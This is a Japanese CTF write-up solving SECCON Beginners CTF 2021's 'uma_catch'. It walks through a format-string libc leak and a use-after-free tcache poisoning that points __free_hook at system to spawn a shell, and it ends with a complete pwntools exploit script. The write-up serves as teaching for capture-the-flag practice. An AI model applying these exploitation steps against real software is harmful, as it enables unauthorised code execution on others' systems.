uma_catch - SECCON BeginnersCTF2021(My solver)

方針

Format Strings Bug によってlibc内のアドレスをリークし、 tcache poisoningでShellを取る。

FSBによるlibc leak

src.cの197行目のshow関数では、 フォーマット指定子をしていないことによるFSBが起こる。

void show() {
    printf(list[get_index()]->name);
}

__libc_start_main内のアドレスを探す旅

次に、__libc_start_mainのアドレスを調べる。 以下のように調べることができる。

gef➤  disass __libc_start_main
Dump of assembler code for function __libc_start_main:
   0x00007ffff7a03b10 <+0>:     push   r13
   0x00007ffff7a03b12 <+2>:     push   r12
    (中略)
   0x00007ffff7a03bf0 <+224>:   mov    rax,QWORD PTR [rsp+0x18]
   0x00007ffff7a03bf5 <+229>:   call   rax
   0x00007ffff7a03bf7 <+231>:   mov    edi,eax
   0x00007ffff7a03bf9 <+233>:   call   0x7ffff7a25240 <exit>
   0x00007ffff7a03bfe <+238>:   mov    rax,QWORD PTR [rip+0x3ceda3]        # 0x7ffff7dd29a8
    (中略)
   0x00007ffff7a03cc3 <+435>:   call   QWORD PTR [rdx+0x168]
   0x00007ffff7a03cc9 <+441>:   jmp    0x7ffff7a03ba5 <__libc_start_main+149>
End of assembler dump.

以下のように、%pをたくさん送ると、スタック上のアドレスがリークされる。 __libc_start_mainのアドレスの範囲でリークしているものがないか探す。

-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 1
index?
> 0
color?(bay|chestnut|gray)
> bay

command?
> 2
index?
> 0
name?
> %p%p%p%p%p%p%p%p%p%p%p

command?
> 3
index?
> 0
0xffffffda(nil)(nil)0x7fffffffe511(nil)0x7fffffffe5700x5555555553cf0x7fffffffe6500x3000000000x5555555557f00x7ffff7a03bf7

最後にリークされているアドレスが、0x7ffff7a03b10(<+0>)から0x00007ffff7a03cc9(<+441>)の範囲内なので、 libc内のアドレスであることがわかる。

%pを11個並べてリークされるアドレスと、%11$pでリークされるアドレスは同じである。

libc base address を求める

リークされたlibcのアドレスは、0x00007ffff7a03bf7 <+231>である。 したがって、次の式で求められる。

leaked_libc_address - 231 - libc.sym['__libc_start_main']

具体的なコードは以下のようになっています。

# libc leak by FSB
catch("0", "bay")
naming("0", "%11$p")
show("0")

libc.address = int(io.recvline().strip(), 16) - 231 - libc.sym['__libc_start_main']
print(f'addr_libc: {libc.address:x}')

gdbのvmmapで調べた値と、leakされたlibc addressが等しいことが確認できます。 (違う場合は、ASLRが無効になっていることを確認してみてください)

tcache poisoning

Beginner’s Heap(2022-05-01) では、Heap Overflowからtcache poisoningをやったのですが、今回はUse After Free(UAF)によって、fd ポインタを書き換えます。

Use After Freeは、ptr-yudai先生作問のuaf4b - CakeCTF2021がわかりやすいです。 私も解いて、uaf4b(2022-05-02)で詳しく説明しているので、ぜひ確認してみてください。

hourse構造体

hourse構造体は次のように構成されています。

struct hourse {
    char name[0x20];
    void (*dance)();
};

UAFによってfd__free_hookで上書き

libc addressをリークしたあと、確保していた領域をfreeします。 freeした後、name[0x20]__free_hookのアドレスを書き込むと、fdが上書きされます。

freeした時点のtcacheの様子は、次のようになっています。

tcache[0x30]: bay -> NULL

fd__free_hookで上書きしたあとの様子。

tcache: bay -> __free_hook -> NULL

具体的なコードは以下のようになっています。

release("0") # tcache: bay -> NULL
naming("0", p64(libc.sym['__free_hook']))
#=> tcache: bay -> __free_hook -> NULL

/bin/shを書き込む領域を確保

chestnutという名前の領域を新たに確保します。

malloc君は、tcache君が同じサイズをキャッシュしていたら、 その領域を返すので、この領域のアドレスはbayと同じである。

よって、tcacheに繋がっているのは、__free_hookだけである。

tcache[0x30]: __free_hook -> NULL

__free_hooksystemに向けてsystem("/bin/sh")

grayという名前の領域を新たに確保すると、 返ってくるのは__free_hookのアドレスである。

そこに、systemのアドレスを書き込むと、__free_hooksystemを向くようになる。

__free_hook -> system

具体的なコードは以下のようになっています。

catch("2", "gray") # gray == __free_hook
naming("2", p64(libc.sym['system'])) #__free_hook -> system

あとは、/bin/shが書き込まれている領域chestnut(list[1])をfreeすると、 __free_hook(list[1]) -> system("/bin/sh")となって、Shellを取ることができる。

Solver

from pwn import *

file = "./chall"
libc = ELF("./libc-2.27.so")
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

io = process(file)

def catch(index: str, color: str):
    io.recvuntil("command?")
    io.sendlineafter("> ", "1")
    io.recvuntil("index?")
    io.sendlineafter("> ", index)
    io.recvuntil("color?(bay|chestnut|gray)")
    io.sendlineafter("> ", color)

def naming(index: str, name: bytes):
    io.recvuntil("command?")
    io.sendlineafter("> ", "2")
    io.recvuntil("index?")
    io.sendlineafter("> ", index)
    io.recvuntil("name?")
    io.sendlineafter("> ", name)

def show(index: str):
    io.recvuntil("command?")
    io.sendlineafter("> ", "3")
    io.recvuntil("index?")
    io.sendlineafter("> ", index)

def release(index: str):
    io.recvuntil("command?")
    io.sendlineafter("> ", "5")
    io.recvuntil("index?")
    io.sendlineafter("> ", index)

# libc leak by FSB
catch("0", "bay")
naming("0", "%11$p")
show("0")

libc.address = int(io.recvline().strip(), 16) - 231 - libc.sym['__libc_start_main']
print(f'addr_libc: {libc.address:x}')


release("0") # tcache: bay -> NULL
# fd = __free_hook
naming("0", p64(libc.sym['__free_hook']))
#=> tcache: bay -> __free_hook -> NULL

# chestnut(addr) == bay(addr)
catch("1", "chestnut") # tcache: __free_hook -> NULL
naming("1", b"/bin/sh") # list[1]->name = "/bin/sh"

catch("2", "gray") # gray == __free_hook
naming("2", p64(libc.sym['system'])) #__free_hook -> system

release("1") # __free_hook(list[1]) == system("/bin/sh")

io.interactive()